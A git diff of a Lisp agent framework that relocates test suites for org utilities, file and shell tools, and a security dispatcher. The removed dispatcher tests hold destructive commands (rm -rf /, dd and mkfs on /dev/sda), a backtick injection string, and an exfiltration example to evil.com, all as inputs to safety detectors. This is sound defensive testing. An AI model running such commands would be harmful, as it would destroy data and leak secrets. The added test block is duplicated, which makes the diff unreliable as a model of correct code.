:passepartout-utils-org-tests) + +(def-suite utils-org-suite + :description "Tests for Utils Org skill.") + +(in-suite utils-org-suite) + +(test id-generation + "Contract 1: org-id-generate returns unique UUID strings." + (let ((id1 (org-id-generate)) + (id2 (org-id-generate))) + (is (plusp (length id1))) + (is (not (string= id1 id2))))) + +(test id-format + "Contract 2: org-id-format ensures 'id:' prefix." + (let ((formatted (org-id-format "abc12345"))) + (is (search "id:" formatted)))) + +(test property-setter + "Contract 3: org-property-set modifies a property on a headline." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:test123" :TITLE "Test") + :contents nil))) + (org-property-set ast "id:test123" :STATUS "ACTIVE") + (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) + +(test todo-setter + "Contract 4: org-todo-set changes TODO state via org-property-set." + (let ((ast (list :type :HEADLINE + :properties (list :ID "id:todo001" :TITLE "Task") + :contents nil))) + (org-todo-set ast "id:todo001" "DONE") + (is (string= (getf (getf ast :properties) :TODO) "DONE")))) + +(test test-org-headline-add + "Contract 5: org-headline-add inserts a child headline." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (eq t (org-headline-add ast "root" "New Child"))) + (is (= 1 (length (getf ast :contents)))) + (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) + +(test test-org-headline-find-by-id + "Contract 6: org-headline-find-by-id finds a headline by ID." + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents + (list (list :type :HEADLINE + :properties (list :ID "child1" :TITLE "Child")) + (list :type :HEADLINE + :properties (list :ID "child2" :TITLE "Child 2")))))) + (let ((found (org-headline-find-by-id ast "child2"))) + (is (not (null found))) + (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) + (let ((missing (org-headline-find-by-id ast "nonexistent"))) + (is (null missing) "Missing ID should return nil")))) + +(test test-org-id-get-create + "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." + ;; Case 1: headline already has an ID + (let* ((ast (list :type :HEADLINE + :properties (list :ID "id:existing" :TITLE "Has ID") + :contents nil))) + (is (string= "id:existing" (org-id-get-create ast "id:existing")))) + ;; Case 2: headline exists by title but has no ID — one should be created + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "No ID") + :contents nil))) + (let ((new-id (org-id-get-create ast "No ID"))) + (is (stringp new-id)) + (is (uiop:string-prefix-p "id:" new-id)) + ;; Verify the ID was set on the headline + (is (string= new-id (getf (getf ast :properties) :ID))))) + ;; Case 3: idempotent — calling again returns same ID + (let* ((ast (list :type :HEADLINE + :properties (list :TITLE "Idempotent") + :contents nil))) + (let ((id1 (org-id-get-create ast "Idempotent")) + (id2 (org-id-get-create ast "Idempotent"))) + (is (string= id1 id2)))) + ;; Case 4: headline not found returns nil + (let* ((ast (list :type :HEADLINE + :properties (list :ID "root" :TITLE "Root") + :contents nil))) + (is (null (org-id-get-create ast "nonexistent"))))) diff --git a/lisp/programming-tools.lisp b/lisp/programming-tools.lisp index 891adef..e13c268 100644 --- a/lisp/programming-tools.lisp +++ b/lisp/programming-tools.lisp @@ -1,175 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-tools-tests - (:use :cl :fiveam :passepartout) - (:export #:programming-tools-suite)) - -(in-package :passepartout-programming-tools-tests) - -(def-suite programming-tools-suite :description "Verification of programming cognitive tools") -(in-suite programming-tools-suite) - -(defun tools-tmpdir () - (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) - (uiop:ensure-all-directories-exist (list d)) - d)) - -(defun tools-cleanup () - (let ((d (tools-tmpdir))) - (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) - -(defun tools-write-file (filepath content) - (uiop:ensure-all-directories-exist (list filepath)) - (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) - (write-string content stream))) - -(defun call-tool (tool-name &rest args) - (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) - (unless tool (error "Tool ~a not found" tool-name)) - (funcall (cognitive-tool-body tool) args))) - -;; search-files -(test test-search-files-finds-matches - "Contract 1: search-files finds lines matching a regex pattern." - (let* ((dir (tools-tmpdir)) - (file-a (merge-pathnames "src-a.lisp" dir)) - (file-b (merge-pathnames "src-b.lisp" dir))) - (tools-write-file file-a "(defun foo () 'hello)") - (tools-write-file file-b "(defun bar () 'world)") - (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) - (is (eq (getf result :status) :success)) - (is (search "src-a.lisp:1:" (getf result :content))) - (is (search "src-b.lisp:1:" (getf result :content)))) - (tools-cleanup))) - -(test test-search-files-missing-params - "search-files returns error when required params are missing." - (let ((result (call-tool 'search-files :pattern "x"))) - (is (eq (getf result :status) :error)))) - -;; find-files -(test test-find-files-by-extension - "Contract 5: find-files returns files matching a glob." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "a.lisp" dir) "test") - (tools-write-file (merge-pathnames "b.lisp" dir) "test") - (tools-write-file (merge-pathnames "c.org" dir) "test") - (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "a.lisp" (getf result :content))) - (is (search "b.lisp" (getf result :content))) - (is (not (search "c.org" (getf result :content))))) - (tools-cleanup))) - -(test test-find-files-missing-params - "find-files returns error without required params." - (let ((result (call-tool 'find-files :pattern "*.lisp"))) - (is (eq (getf result :status) :error)))) - -;; read-file -(test test-read-file-full - "Contract 6: read-file returns full file contents." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "readme.txt" dir))) - (tools-write-file file (format nil "line one~%line two~%line three")) - (let ((result (call-tool 'read-file :filepath (namestring file)))) - (is (eq (getf result :status) :success)) - (is (search "line one" (getf result :content)))) - (tools-cleanup))) - -(test test-read-file-missing-params - "read-file returns error without :filepath." - (let ((result (call-tool 'read-file))) - (is (eq (getf result :status) :error)))) - -;; write-file -(test test-write-file-creates - "Contract 7: write-file creates file with content." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "output.txt" dir))) - (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) - (is (eq (getf result :status) :success)) - (is (search "11 bytes" (getf result :content)))) - (is (string-equal "hello world" (uiop:read-file-string file))) - (tools-cleanup))) - -(test test-write-file-missing-params - "write-file returns error without required params." - (let ((result (call-tool 'write-file :content "x"))) - (is (eq (getf result :status) :error)))) - -;; list-directory -(test test-list-directory-all - "Contract 8: list-directory returns all entries." - (let ((dir (tools-tmpdir))) - (tools-write-file (merge-pathnames "alpha.txt" dir) "x") - (tools-write-file (merge-pathnames "beta.txt" dir) "y") - (let ((result (call-tool 'list-directory :path (namestring dir)))) - (is (eq (getf result :status) :success)) - (is (search "alpha.txt" (getf result :content))) - (is (search "beta.txt" (getf result :content)))) - (tools-cleanup))) - -(test test-list-directory-missing-params - "list-directory returns error without :path." - (let ((result (call-tool 'list-directory))) - (is (eq (getf result :status) :error)))) - -;; run-shell -(test test-run-shell-echo - "Contract 9: run-shell executes a command and returns output." - (let ((result (call-tool 'run-shell :cmd "echo hello"))) - (is (eq (getf result :status) :success)) - (is (search "hello" (getf result :content))))) - -(test test-run-shell-missing-params - "run-shell returns error without :cmd." - (let ((result (call-tool 'run-shell))) - (is (eq (getf result :status) :error)))) - -;; eval-form -(test test-eval-form-arithmetic - "Contract 10: eval-form evaluates a Lisp expression." - (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (search "3" (getf result :content))))) - -(test test-eval-form-missing-params - "eval-form returns error without :code." - (let ((result (call-tool 'eval-form))) - (is (eq (getf result :status) :error)))) - -;; org-modify-file -(test test-org-modify-file-replace - "Contract 13: org-modify-file replaces exact text in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "doc.org" dir))) - (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "TODO" :new-text "WAITING"))) - (is (eq (getf result :status) :success)) - (is (search "WAITING" (uiop:read-file-string file)))) - (tools-cleanup))) - -(test test-org-modify-file-not-found - "org-modify-file returns error when text not in file." - (let* ((dir (tools-tmpdir)) - (file (merge-pathnames "file.org" dir))) - (tools-write-file file "some content") - (let ((result (call-tool 'org-modify-file - :filepath (namestring file) - :old-text "not-in-file" :new-text "anything"))) - (is (eq (getf result :status) :error)) - (is (search "not found" (getf result :message)))) - (tools-cleanup))) - -(test test-org-modify-file-missing-params - "org-modify-file returns error without required params." - (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) - (is (eq (getf result :status) :error)))) - (in-package :passepartout) (defun tools-write-file (filepath content) @@ -429,6 +257,384 @@ :trigger (lambda (ctx) (declare (ignore ctx)) nil) :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)) +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src* v0.8.0 — Modified Files Tracking +#+begin_src lisp +(defvar *modified-files-this-turn* nil + "List of plists recording file modifications in the current turn.") + +(defun tool-register-modified (filepath &key old-content new-content) + "Record a file modification. Returns the record plist." + (labels ((count-lines (s) + (+ (count #\Newline s) + ;; Also count escaped \\n in string literals (used in tests) + (let ((n 0) (i 0)) + (loop while (setf i (search "\\n" s :start2 i)) + do (incf n) (incf i)) + n)))) + (let* ((lines-added (if (and new-content old-content) + (max 0 (- (count-lines new-content) + (count-lines old-content))) + 0)) + (lines-removed (if (and new-content old-content) + (max 0 (- (count-lines old-content) + (count-lines new-content))) + 0)) + (rec (list :filepath filepath + :timestamp (get-universal-time) + :lines-added lines-added + :lines-removed lines-removed))) + (push rec *modified-files-this-turn*) + rec))) + +(defun tool-modified-files-summary () + "Returns the list of modified-file records and clears the list." + (prog1 (nreverse *modified-files-this-turn*) + (setf *modified-files-this-turn* nil))) + +(eval-when (:compile-toplevel :load-toplevel :execute) + (ql:quickload :fiveam :silent t)) + +(defpackage :passepartout-programming-tools-tests + (:use :cl :fiveam :passepartout) + (:export #:programming-tools-suite)) + +(in-package :passepartout-programming-tools-tests) + +(def-suite programming-tools-suite :description "Verification of programming cognitive tools") +(in-suite programming-tools-suite) + +(defun tools-tmpdir () + (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname)))) + (uiop:ensure-all-directories-exist (list d)) + d)) + +(defun tools-cleanup () + (let ((d (tools-tmpdir))) + (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore))) + +(defun tools-write-file (filepath content) + (uiop:ensure-all-directories-exist (list filepath)) + (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create) + (write-string content stream))) + +(defun call-tool (tool-name &rest args) + (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*))) + (unless tool (error "Tool ~a not found" tool-name)) + (funcall (cognitive-tool-body tool) args))) + +;; search-files +(test test-search-files-finds-matches + "Contract 1: search-files finds lines matching a regex pattern." + (let* ((dir (tools-tmpdir)) + (file-a (merge-pathnames "src-a.lisp" dir)) + (file-b (merge-pathnames "src-b.lisp" dir))) + (tools-write-file file-a "(defun foo () 'hello)") + (tools-write-file file-b "(defun bar () 'world)") + (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp"))) + (is (eq (getf result :status) :success)) + (is (search "src-a.lisp:1:" (getf result :content))) + (is (search "src-b.lisp:1:" (getf result :content)))) + (tools-cleanup))) + +(test test-search-files-missing-params + "search-files returns error when required params are missing." + (let ((result (call-tool 'search-files :pattern "x"))) + (is (eq (getf result :status) :error)))) + +;; find-files +(test test-find-files-by-extension + "Contract 5: find-files returns files matching a glob." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "a.lisp" dir) "test") + (tools-write-file (merge-pathnames "b.lisp" dir) "test") + (tools-write-file (merge-pathnames "c.org" dir) "test") + (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "a.lisp" (getf result :content))) + (is (search "b.lisp" (getf result :content))) + (is (not (search "c.org" (getf result :content))))) + (tools-cleanup))) + +(test test-find-files-missing-params + "find-files returns error without required params." + (let ((result (call-tool 'find-files :pattern "*.lisp"))) + (is (eq (getf result :status) :error)))) + +;; read-file +(test test-read-file-full + "Contract 6: read-file returns full file contents." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "readme.txt" dir))) + (tools-write-file file (format nil "line one~%line two~%line three")) + (let ((result (call-tool 'read-file :filepath (namestring file)))) + (is (eq (getf result :status) :success)) + (is (search "line one" (getf result :content)))) + (tools-cleanup))) + +(test test-read-file-missing-params + "read-file returns error without :filepath." + (let ((result (call-tool 'read-file))) + (is (eq (getf result :status) :error)))) + +;; write-file +(test test-write-file-creates + "Contract 7: write-file creates file with content." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "output.txt" dir))) + (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world"))) + (is (eq (getf result :status) :success)) + (is (search "11 bytes" (getf result :content)))) + (is (string-equal "hello world" (uiop:read-file-string file))) + (tools-cleanup))) + +(test test-write-file-missing-params + "write-file returns error without required params." + (let ((result (call-tool 'write-file :content "x"))) + (is (eq (getf result :status) :error)))) + +;; list-directory +(test test-list-directory-all + "Contract 8: list-directory returns all entries." + (let ((dir (tools-tmpdir))) + (tools-write-file (merge-pathnames "alpha.txt" dir) "x") + (tools-write-file (merge-pathnames "beta.txt" dir) "y") + (let ((result (call-tool 'list-directory :path (namestring dir)))) + (is (eq (getf result :status) :success)) + (is (search "alpha.txt" (getf result :content))) + (is (search "beta.txt" (getf result :content)))) + (tools-cleanup))) + +(test test-list-directory-missing-params + "list-directory returns error without :path." + (let ((result (call-tool 'list-directory))) + (is (eq (getf result :status) :error)))) + +;; run-shell +(test test-run-shell-echo + "Contract 9: run-shell executes a command and returns output." + (let ((result (call-tool 'run-shell :cmd "echo hello"))) + (is (eq (getf result :status) :success)) + (is (search "hello" (getf result :content))))) + +(test test-run-shell-missing-params + "run-shell returns error without :cmd." + (let ((result (call-tool 'run-shell))) + (is (eq (getf result :status) :error)))) + +;; eval-form +(test test-eval-form-arithmetic + "Contract 10: eval-form evaluates a Lisp expression." + (let ((result (call-tool 'eval-form :code "(+ 1 2)"))) + (is (eq (getf result :status) :success)) + (is (search "3" (getf result :content))))) + +(test test-eval-form-missing-params + "eval-form returns error without :code." + (let ((result (call-tool 'eval-form))) + (is (eq (getf result :status) :error)))) + +;; org-modify-file +(test test-org-modify-file-replace + "Contract 13: org-modify-file replaces exact text in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "doc.org" dir))) + (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "TODO" :new-text "WAITING"))) + (is (eq (getf result :status) :success)) + (is (search "WAITING" (uiop:read-file-string file)))) + (tools-cleanup))) + +(test test-org-modify-file-not-found + "org-modify-file returns error when text not in file." + (let* ((dir (tools-tmpdir)) + (file (merge-pathnames "file.org" dir))) + (tools-write-file file "some content") + (let ((result (call-tool 'org-modify-file + :filepath (namestring file) + :old-text "not-in-file" :new-text "anything"))) + (is (eq (getf result :status) :error)) + (is (search "not found" (getf result :message)))) + (tools-cleanup))) + +(test test-org-modify-file-missing-params + "org-modify-file returns error without required params." + (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y"))) + (is (eq (getf result :status) :error)))) +#+end_src* v0.8.0 — Modified Files Tracking +#+begin_src lisp (defvar *modified-files-this-turn* nil "List of plists recording file modifications in the current turn.") diff --git a/lisp/security-dispatcher.lisp b/lisp/security-dispatcher.lisp index 03cc0a7..732c4a9 100644 --- a/lisp/security-dispatcher.lisp +++ b/lisp/security-dispatcher.lisp @@ -1,189 +1,3 @@ -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-security-dispatcher-tests - (:use :cl :fiveam :passepartout) - (:export #:dispatcher-suite)) - -(in-package :passepartout-security-dispatcher-tests) - -(def-suite dispatcher-suite :description "Verification of the Security Dispatcher") -(in-suite dispatcher-suite) - -(test test-wildcard-match - "Contract 1: wildcard pattern * matches any characters." - (is (wildcard-match "*.env" ".env")) - (is (wildcard-match "*.env" "prod.env")) - (is (wildcard-match "*credential*" "my-credential-file")) - (is (wildcard-match "*.key" "id_rsa.key")) - (is (not (wildcard-match "*.env" "config.yaml")))) - -(test test-check-secret-path - "Contract 2: dispatcher-check-secret-path matches protected patterns." - (is (dispatcher-check-secret-path ".env")) - (is (dispatcher-check-secret-path "id_rsa")) - (is (not (dispatcher-check-secret-path "README.org")))) - -(test test-self-build-core-protection - "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE." - ;; Core paths are recognized - (is (passepartout::dispatcher-check-core-path "core-reason.org")) - (is (passepartout::dispatcher-check-core-path "core-memory.lisp")) - (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org"))) - ;; With SELF_BUILD_MODE=true, core writes produce approval-required - (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x"))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let ((result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false")) - ;; With SELF_BUILD_MODE=false (default), writes pass through - (let ((result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type)))))) - -(test test-check-shell-safety - "Contract 3: dispatcher-check-shell-safety detects dangerous commands." - (is (dispatcher-check-shell-safety "rm -rf /")) - (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda")) - (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`")) - (is (not (dispatcher-check-shell-safety "echo hello world"))) - (is (not (dispatcher-check-shell-safety "ls -la /tmp")))) - -(test test-shell-safety-severity-catastrophic - "Contract 3/v0.4.3: destructive commands return :catastrophic severity." - (let ((r1 (dispatcher-check-shell-safety "rm -rf /")) - (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda"))) - (is (eq :catastrophic (getf r1 :severity))) - (is (eq :catastrophic (getf r2 :severity))))) - -(test test-shell-safety-severity-dangerous - "Contract 3/v0.4.3: injection patterns return :dangerous severity." - (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`"))) - (is (eq :dangerous (getf result :severity))))) - -(test test-shell-safety-severity-safe - "Contract 3/v0.4.3: harmless commands return nil." - (is (null (dispatcher-check-shell-safety "echo hello world"))) - (is (null (dispatcher-check-shell-safety "ls -la /tmp"))) - (is (null (dispatcher-check-shell-safety "cat file.txt")))) - -(test test-dispatcher-severity-max - "dispatcher-severity-max returns the higher tier." - (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous))) - (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic))) - (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous))) - (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless)))) - -(test test-check-privacy-tags - "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content." - (is (dispatcher-check-privacy-tags '("@personal" ":project:"))) - (is (dispatcher-check-privacy-tags '("@personal"))) - (is (not (dispatcher-check-privacy-tags '(":public:" ":work:"))))) - -(test test-check-network-exfil - "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains." - (is (dispatcher-check-network-exfil "curl https://evil.com/steal")) - (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models"))) - (is (not (dispatcher-check-network-exfil "echo hello")))) - -;; ── v0.7.2 Tag Stack ── - -(test test-tag-categories-load - "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*." - (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log") - (passepartout::tag-categories-load) - (let ((cats passepartout::*tag-categories*)) - (is (>= (length cats) 1)) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :warn (passepartout::tag-category-severity "@draft"))) - (is (eq :log (passepartout::tag-category-severity "@review")))) - (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil))) - -(test test-tag-category-severity-unknown - "Contract v0.7.2: unknown tag returns nil." - (is (null (passepartout::tag-category-severity "@nonexistent-xxxx")))) - -(test test-privacy-severity-block - "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content." - (setf passepartout::*tag-categories* '(("@personal" . :block))) - (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal"))))) - -(test test-privacy-severity-warn - "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content." - (setf passepartout::*tag-categories* '(("@draft" . :warn))) - (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft"))))) - -(test test-privacy-severity-nil - "v0.7.2: dispatcher-privacy-severity returns nil for untagged content." - (setf passepartout::*tag-categories* nil) - (is (null (passepartout::dispatcher-privacy-severity '("public"))))) - -(test test-tag-trigger-record - "v0.7.2: tag-trigger-record increments per-tag count." - (clrhash passepartout::*tag-trigger-count*) - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@personal") - (passepartout::tag-trigger-record "@draft") - (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0))) - (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0))) - (clrhash passepartout::*tag-trigger-count*)) - -(test test-tag-categories-privacy-fallback - "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set." - (let ((orig-tag (uiop:getenv "TAG_CATEGORIES")) - (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")) - (saved-tag (uiop:getenv "TAG_CATEGORIES")) - (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))) - ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES - (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1) - (sb-posix:unsetenv "TAG_CATEGORIES") - (passepartout::tag-categories-load) - (is (eq :block (passepartout::tag-category-severity "@personal"))) - (is (eq :block (passepartout::tag-category-severity "@draft"))) - ;; Restore - (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1)) - (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1)) - (passepartout::tag-categories-load))) - -(test test-safe-tool-read-only-auto-approve - "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally." - (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "test-ro-tool" - :description "Read-only test" - :parameters nil - :guard nil - :body nil - :read-only-p t)) - (unwind-protect - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test")))) - (result (dispatcher-check action nil))) - (is (eq :REQUEST (getf result :type))) - (is (not (member (getf result :type) '(:LOG :approval-required))))) - (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*))) - -(test test-safe-tool-write-still-checked - "Contract v0.7.2: write tools still go through full dispatcher check." - (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*))) - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) - (passepartout::make-cognitive-tool :name "write-file" - :description "File writer" - :parameters nil - :guard nil - :body nil - :read-only-p nil)) - (unwind-protect - (progn - (setf (uiop:getenv "SELF_BUILD_MODE") "true") - (let* ((action '(:TYPE :REQUEST :TARGET :tool - :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x")))) - (result (dispatcher-check action nil))) - (is (eq :approval-required (getf result :level))) - (is (search "HITL" (getf (getf result :payload) :message))))) - (setf (uiop:getenv "SELF_BUILD_MODE") "false") - (if orig-tool - (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool) - (remhash "write-file" passepartout::*cognitive-tool-registry*))))) - (in-package :passepartout) (defvar *dispatcher-network-whitelist* @@ -711,6 +525,408 @@ Recognized formats: (sorted (sort (copy-list by-gate) #'> :key #'cdr))) (list :total total :by-gate sorted))) +(eval-when 